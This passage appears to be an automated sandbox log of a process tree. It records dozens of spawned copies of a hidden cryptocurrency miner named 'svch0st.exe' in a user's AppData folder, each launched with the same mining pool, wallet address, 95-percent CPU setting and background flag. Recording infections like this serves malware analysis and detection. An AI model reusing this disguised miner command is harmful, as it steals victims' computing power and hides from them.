        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        44⤵
        
        PID:7412
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        45⤵
        
        PID:8236
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        46⤵
        
        PID:8340
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        47⤵
        
        PID:8436
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        48⤵
        
        PID:8548
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        49⤵
        
        PID:8652
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        50⤵
        
        PID:8748
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        51⤵
        
        PID:8880
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        52⤵
        
        PID:9000
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        53⤵
        
        PID:9116
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        54⤵
        
        PID:8248
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        55⤵
        
        PID:2460
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        56⤵
        
        PID:5060
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        57⤵
        
        PID:1892
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        58⤵
        
        PID:9280
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        59⤵
        
        PID:9384
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        60⤵
        
        PID:9488
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        61⤵
        
        PID:9600
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        62⤵
        
        PID:9704
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        63⤵
        
        PID:9800
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        64⤵
        
        PID:9904
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        65⤵
        
        PID:10016
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        66⤵
        
        PID:10112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        67⤵
        
        PID:10216
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        68⤵
        
        PID:10236
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        69⤵
        
        PID:10352
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        70⤵
        
        PID:10452
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        71⤵
        
        PID:10552
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        72⤵
        
        PID:10640
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        73⤵
        
        PID:10744
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        74⤵
        
        PID:10872
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        75⤵
        
        PID:10976
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        76⤵
        
        PID:11080
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        77⤵
        
        PID:11184
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        78⤵
        
        PID:10604
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        79⤵
        
        PID:11308
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        80⤵
        
        PID:11432
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        81⤵
        
        PID:11524
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        82⤵
        
        PID:11628
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        83⤵
        
        PID:11724
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        84⤵
        
        PID:11828
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        85⤵
        
        PID:11936
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        86⤵
        
        PID:12036
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        87⤵
        
        PID:12132
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        88⤵
        
        PID:12232
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        89⤵
        
        PID:11424
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        90⤵
        
        PID:12304
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        91⤵
        
        PID:12396
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        92⤵
        
        PID:12500
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        93⤵
        
        PID:12612
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        94⤵
        
        PID:12724
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        95⤵
        
        PID:12812
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        96⤵
        
        PID:12916
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        97⤵
        
        PID:13012
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        98⤵
        
        PID:13124
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        99⤵
        
        PID:13236
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        100⤵
        
        PID:12408
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        101⤵
        
        PID:13344
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        102⤵
        
        PID:13448
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        103⤵
        
        PID:13560
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        104⤵
        
        PID:13680
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        105⤵
        
        PID:13788
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        106⤵
        
        PID:13900
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        107⤵
        
        PID:13972
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        108⤵
        
        PID:14084
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        109⤵
        
        PID:14188
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        110⤵
        
        PID:14292
        
